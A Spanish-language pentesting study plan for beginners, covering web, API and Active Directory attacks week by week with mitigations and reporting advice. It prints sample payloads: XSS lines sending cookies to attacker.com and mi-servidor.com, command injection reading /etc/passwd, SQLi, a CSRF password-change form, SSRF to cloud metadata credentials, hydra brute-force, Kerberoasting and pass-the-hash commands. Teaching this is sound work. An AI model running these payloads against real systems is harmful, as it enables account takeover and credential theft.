Eres junior en Ciberseguridad? has terminado un master, grado, etc, pero te sientes perdido o que te falta información?
He creado un "plan de estudios" para ti, y lo mejor de todo, es que es GRATIS!
Está estructurado con pentesting Web, API y Directorio Activo. Ten en cuenta que esto es solo la superficie, hay mucho que estudiar, mucho que probar y mucho por avanzar.
Esto debería llevarte 1 o 2 horas al día y 4 días a la semana. Vamos a combinar algo de teoría básica y algunas prácticas en entornos controlados.
SEPTIEMBRE – Web Pentesting (OWASP Top 10 Web)
🔹 Semana 1 – Introducción y Reconocimiento Web
Explicación: El reconocimiento es la base del pentesting web. Nos permite descubrir la superficie de ataque antes de lanzar los exploits. La enumeración incluye identificación de tecnologías, versiones, directorios ocultos, endpoints sensibles y posibles credenciales expuestas, que es parte fundamental del pentesting.
Una buena fase de reconocimiento seguro que marca la diferencia entre un pentest exitoso y uno superficial.
Existen técnicas pasivas (Google Dorking, DNSdumpster, Shodan) y activas (Nmap, WhatWeb, dirsearch). En esta fase, el pentester busca ampliar la superficie de ataque para descubrir configuraciones por defecto o recursos olvidados por los desarrolladores. La clave aquí es ir documentando todo lo que encuentres para tratar de explotarlo más adelante. Puedes hacer uso de tu herramienta preferida (OneNote, CherryTree, Notion...), has de ser exhaustivo y ordenado.
Ejemplo 1 – Enumeración de tecnologías:
whatweb https://objetivo.com
Salida: WordPress 5.6, PHP 7.4, Apache 2.4.49. Esto nos indica posibles CVEs a investigar.
Ejemplo 2 – Búsqueda de ficheros sensibles:
dirsearch -u https://objetivo.com -e php,zip,tar,txtResultado: /backup.zip [200] → contiene código fuente y credenciales.
Ahora te toca a ti empezar a entender cómo funcionan las herramientas, los parámetros a configurar, etc. No querrás que lo haga yo todo, no?
🔹 Semana 2 – Inyección (SQLi, NoSQLi, Command Injection)
Explicación: Las inyecciones ocurren cuando los datos de usuario se concatenan sin validación en consultas.
- Una inyección SQL, podría permitirte leer o modificar bases de datos enteras.
- NoSQLi abusa de estructuras JSON mal validadas.
- Command Injection aprovecha parámetros ejecutados en comandos del SO.
Mitigación: usar consultas preparadas, sanitización de entradas y no concatenar input en funciones críticas.
Ejemplo 1 – SQLi clásica:
GET /product.php?id=1 OR 1=1-- -Devuelve todos los productos porque la consulta se transforma en: SELECT * FROM products WHERE id=1 OR 1=1;
Ejemplo 2 – Command Injection:
GET /ping?ip=8.8.8.8; cat /etc/passwdEsto incluiría los usuarios del sistema, que sería una ejecución arbitraria en el servidor.
🔹 Semana 3 – XSS (Cross-Site Scripting)
Explicación: XSS inyecta código JavaScript en el navegador del usuario. Se podrían robar cookies, tokens JWT o redirigir tráfico. Existen 3 tipos:
- Reflejado
- Almacenado
- DOM-based
Se mitiga validando inputs, escapando outputs y aplicando la cabecera Content Security Policy. Es muy común en formularios, buscadores y comentarios.
Si no conoces la diferencia entre cada uno, te toca buscar información y sobre todo, entender cómo funcionan.
Ejemplo 1 – XSS reflejado:
GET /search?q=<script>alert('XSS')</script>El script se ejecuta en el navegador cuando se devuelve la búsqueda.
Ejemplo 2 – XSS almacenado (robo de cookies):
<script>fetch('http://attacker.com/?c='+document.cookie)</script>Insertado en un comentario, roba cookies de todos los visitantes.
El XSS DOM-Based ocurre cuando el propio navegador procesa datos manipulados en el DOM sin validación, sin pasar por el servidor. Es muy común en aplicaciones modernas con JavaScript.
<input id="q" value="<script>alert('DOM XSS')</script>"><script> document.write("Search: " + location.hash.substring(1));</script>Si visitas:
https://victima.com/#<script>alert('DOM')</script>El script se ejecuta directamente en el navegador de la víctima.
🔹 Semana 4 – CSRF y Control de Acceso
Explicación: CSRF fuerza a un usuario autenticado a que ejecute acciones sin saberlo. Aprovecha que el navegador incluye cookies automáticamente. Los fallos de control de acceso permitirían saltar restricciones de los roles o de los IDs.
Mitigación: tokens CSRF, SameSite cookies, y validación de permisos en el backend.
Ejemplo 1 – CSRF exploit:
<img src="http://bank.com/transfer?amount=1000&to=attacker" />Si la víctima tiene un login activo, ejecutaría la transferencia.
Ejemplo 2 – IDOR (Broken Access Control):
GET /admin/deleteUser?id=5Un usuario normal podría borrar usuarios al manipular el parámetro.
OCTUBRE – Pentesting API
🔹 Semana 1 – API1: Broken Object Level Authorization
Explicación: Este error ocurre cuando una API no valida correctamente los permisos por objeto. Bastaría con modificar un ID o parámetro para acceder a datos de otros usuarios.
Mitigación: validación estricta en backend, no en cliente.
Ejemplo 1 – Enumeración de usuarios:
GET /api/users/124
Authorization: Bearer <token_usuario1>Devuelve datos del usuario 124 aunque pertenece a otro.
Ejemplo 2 – Endpoint admin sin control:
GET /api/admin/settingsSería accesible para cualquier usuario autenticado, lo que desencadenaría en fuga de configuración.
🔹 Semana 2 – API2: Broken Authentication
Explicación: Las APIs con autenticación rota permiten ataques de fuerza brutal, reutilización de tokens o JWT mal configurados. Algunos endpoints aceptan credenciales débiles o no invalidan tokens caducados lo que permitiría impersonar usuarios.
Ejemplo 1 – Fuerza bruta sin rate limit:
hydra -l admin -P rockyou.txt https://api.site.com/login http-post-form "/login:username=^USER^&password=^PASS^:Invalid"Ejemplo 2 – JWT sin firma verificada: Cambiar alg en el header de HS256 a none:
{
"alg": "none",
"typ": "JWT"
}Esto permitiría autenticarse sin clave secreta.
🔹 Semana 3 – API3: Excessive Data Exposure
Explicación: Las APIs mal diseñadas pueden devolver demasiada información, confiando en que el cliente la ocultará. Esto expone datos sensibles (hashes, emails, roles...).
Mitigación: filtrar en el backend solo los campos necesarios.
Ejemplo 1 – Información sensible en JSON:
GET /api/user/123Respuesta:
{"id":123,"email":"victim@mail.com","passwordHash":"$2y$10$...","isAdmin":true}Ejemplo 2 – Datos de tarjeta completos:
{"card":"4111111111111111","expiry":"12/25","cvv":"123"}Esto nos mostraría datos expuestos en vez de mostrar solo últimos 4 dígitos.
🔹 Semana 4 – API4: Lack of Resources & Rate Limiting
Explicación: Sin límites de uso, un atacante podría lanzar ataques de fuerza bruta, scraping masivo o DoS. Es esencial implementar el rate limiting, cuotas y protección contra abuso.
Ejemplo 1 – Brute force login masivo:
ffuf -w users.txt:USER -w pass.txt:PASS -X POST -u https://api.site.com/login -d "username=USER&password=PASS"Ejemplo 2 – Descarga masiva sin límite:
GET /api/export?type=allEsto devolvería GB de datos sin ningún control, lo que podría desencadenar un DoS.
NOVIEMBRE – Active Directory
🔹 Semana 1 – Kerberos y Autenticación
Explicación: Kerberos es el sistema de tickets usado en AD. Ataques como AS-REP roasting o Kerberoasting permiten obtener hashes crackeables. Aquí nos aprovechamos de configuraciones y contraseñas débiles.
Ejemplo 1 – AS-REP Roasting:
GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.1Esto devuelve hashes crackeables, que podríamos sacar con Hashcat.
Ejemplo 2 – Kerberoasting:
GetUserSPNs.py domain.local/user:pass -dc-ip 10.10.10.1Esto nos genera tickets que podríamos tratar de romper con:
hashcat -m 13100 hash.txt rockyou.txt🔹 Semana 2 – Enumeración y BloodHound
Explicación: Enumerar AD implica poder mapear relaciones de confianza y privilegios. La herramienta BloodHound permite visualizar rutas de ataque. SharpHound recolecta los datos desde el dominio.
Ejemplo 1 – Recolección de datos:
SharpHound.exe -c AllEsto genera un zip que puedes subir a BloodHound.
Ejemplo 2 – Búsqueda de camino a Domain Admin: En Neo4j (BloodHound):
MATCH p=shortestPath((u:User {name:"victim"})-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS"})) RETURN p🔹 Semana 3 – Movimiento lateral y Pass-the-Hash
Explicación: Con los hashes NTLM se puede autenticar sin tener que usar contraseñas. Herramientas como psexec.py te permiten moverte lateralmente. También se explota Pass-the-Ticket con tickets Kerberos robados.
Ejemplo 1 – Pass-the-Hash con psexec.py:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 domain.local/user@10.10.10.5Ejemplo 2 – Pass-the-Ticket con Mimikatz:
kerberos::ptt ticket.kirbiCarga un TGT robado para autenticarse como otro usuario.
🔹 Semana 4 – Hardening y detección
Explicación: La defensa en AD incluye segmentación, rotación de contraseñas locales (LAPS), detección de ataques a Kerberos y restricciones de privilegios. El objetivo del pentest no solo es explotar, sino también proponer medidas.
Ejemplo 1 – Activar LAPS:
Install-ADServiceAccount -Identity "LAPS"Evita reutilización de contraseñas locales.
Ejemplo 2 – Monitorizar eventos Kerberos:
Get-WinEvent -LogName Security | Where-Object {$_.Id -eq 4769}Detecta TGS requests sospechosos.
DICIEMBRE – Consolidación (Web + API avanzado)
🔹 Semana 1 – XSS avanzado
Explicación: Incluye técnicas de bypass de WAF, explotación en contextos modernos (Angular, React) y evasión de filtros. También se pueden exfiltrar datos sensibles mediante "canales" ocultos.
Ejemplo 1 – Payload en SVG:Explicación: Incluye técnicas de bypass de WAF, explotación en contextos modernos (Angular, React) y evasión de filtros. También se pueden exfiltrar datos sensibles mediante "canales" ocultos.
Ejemplo 1 – Payload en SVG:
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="60" onload="alert('XSS ejecutado!')">
<text x="10" y="40" font-size="24" fill="blue">Hola SVG</text>
</svg>Esto nos da un texto visible más la ejecución del JS:
Ejemplo 2 – Robo de cookie vía img:
<img src="http://attacker.com/?cookie="+document.cookie>🔹 Semana 2 – CSRF / SSRF
Explicación: El SSRF fuerza al servidor a hacer peticiones internas. Es crítico en entornos cloud porque puede permitir acceder a metadatos. Combinado con CSRF, multiplica el impacto.
Ejemplo 1 – SSRF a recursos internos:
GET /fetch?url=http://127.0.0.1:8080/adminEjemplo 2 – SSRF en AWS:
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/🔹 Semana 3 – APIs avanzado
Explicación: Las APIs modernas (GraphQL, gRPC) pueden ser explotadas si no tienen control de autorización ni limitación. La introspección en GraphQL revela endpoints internos.
Ejemplo 1 – GraphQL introspection:
{"query":"{__schema{types{name,fields{name}}}}"}Ejemplo 2 – API REST manipulando JSON:
{"username":"victim","isAdmin":true}El backend lo aplica si no se valida correctamente.
🔹 Semana 4 – Proyecto final
En esta última fase, el objetivo es integrar todo lo que has aprendido en un entorno realista. La idea es simular un proyecto de pentesting web desde el reconocimiento hasta la explotación, para finalmente documentar las vulnerabilidades. No se trata solo de lanzar payloads a lo loco, sino de entender el impacto, demostrarlo y explicarlo con claridad, tal y como se espera en un informe profesional. De esta forma, irás cogiendo confianza y serás capaz de defender tu informa frente a compañeros, tus jefes, o incluso el cliente.
A continuación, te dejo unos pequeños apuntes para que entiendas cómo se puede documentar el hallazgo de una vulnerabilidad. Debes entender, que hay muchas formas y muchos tipos de informes, esto es solo una base.
✅ Ejemplo 1 – CSRF (Cross-Site Request Forgery) en un cambio de contraseña
Un CSRF consiste en que un atacante engañe a la víctima para que realice una acción en una aplicación autenticada sin su consentimiento. Imaginemos un panel donde el usuario puede cambiar su contraseña a través de un formulario vulnerable.
Código malicioso en una web externa:
<html>
<body>
<form action="https://objetivo.com/cambiar_pass" method="POST">
<input type="hidden" name="new_password" value="Pwned1234">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>Explicación: si el usuario víctima está logueado en objetivo.com, al visitar la página maliciosa, su contraseña será cambiada automáticamente sin que lo sepa. Esto demuestra cómo un atacante podría secuestrar sesiones activas y tomar control de cuentas críticas.
En un informe, se documentaría con la prueba de concepto (PoC) y el riesgo asociado.
✅ Ejemplo 2 – XSS almacenado en un campo de comentarios
El XSS almacenado es especialmente peligroso porque afecta a todos los usuarios que visitan la página. Supongamos el caso típico de un foro donde los comentarios no se validan correctamente:
<script>alert('XSS almacenado ejecutado');</script>Este script quedará guardado en la base de datos. Cada vez que otro usuario acceda al hilo, su navegador ejecutará el JavaScript malicioso. El atacante podría robar cookies, tokens JWT o redirigir al usuario a una web clonada de phishing. En la práctica, no basta con poner un alert, sino que se demuestra con ejemplos como:
fetch('https://mi-servidor.com/robar?cookie=' + document.cookie);En un informe, se debe explicar el impacto en la confidencialidad y el riesgo de escalado.
✅ Ejemplo 3 – Fuerza bruta contra panel de login
Un ataque clásico pero todavía común es la fuerza bruta usando Hydra:
hydra -l admin -P rockyou.txt http-post-form "/login:user=^USER^&pass=^PASS^:F=Login failed"Explicación: este ataque prueba combinaciones de usuario/contraseña hasta acertar. Si la aplicación no implementa bloqueo de cuentas, 2FA o límites de intentos, el riesgo es crítico. Esto en el informe, se debería incluir la evidencia del acceso conseguido y la recomendación de implementar 2FA, por ejemplo.
✅ Ejemplo 4 – SQL Injection ciega
Prueba básica en un campo de login:
' OR '1'='1' --Explicación: si el sistema no valida la entrada de datos, esta consulta puede alterar la lógica de autenticación. En una versión más sofisticada, un atacante podría exfiltrar datos sensibles mediante inyecciones booleanas o de tiempo:
' OR IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0) --Esto demuestra que no solo se puede acceder sin credenciales, sino también extraer información de la base de datos paso a paso. Documentar esto implica mostrar los payloads, resultados y explicar cómo afecta a la confidencialidad e integridad.
✅ Ejemplo 5 – Falsificación de cabeceras (Host Header Injection)
En algunos servidores, modificar la cabecera Host puede alterar la lógica de la aplicación. Podríamos hacerlo con Burp Suite:
Host: evil.comExplicación: esto puede llevar a ataques de password reset donde el enlace se genera con el Host alterado y se envía a la víctima. En este caso, el atacante recibe el enlace malicioso y compromete la cuenta.
📝 Tips finales de Pentesting
- Aprende siempre más allá del plan: OWASP Top 10 es la base, pero el mundo real incluye ataques avanzados (XXE, SSRF, deserialización insegura, etc.).
- No te quedes en lanzar payloads como un loco: entiende el impacto y tradúcelo a riesgos que un cliente pueda comprender. Esto es muy importante.
- Usa entornos legales como HackTheBox, TryHackMe, PortSwigger Academy para practicar sin problemas legales.
- Documenta todo: capturas, payloads, pasos reproducibles... Tu informe es tan importante como la explotación (aunque no te guste).
- Nunca te frustres si algo no funciona: los pentesters dedican horas a prueba/error, la constancia es la clave.
🔚 Conclusión
El pentesting no es solo la técnica, es constancia, investigación y aprendizaje continuo. Cada vulnerabilidad encontrada es una lección que refuerza tu experiencia. Dominarás herramientas, frameworks y técnicas, pero lo más importante es desarrollar la mentalidad ofensiva para pensar como un atacante y proteger mejor.
El esfuerzo de estos meses es solo el inicio: la ciberseguridad es un camino de aprendizaje de por vida.
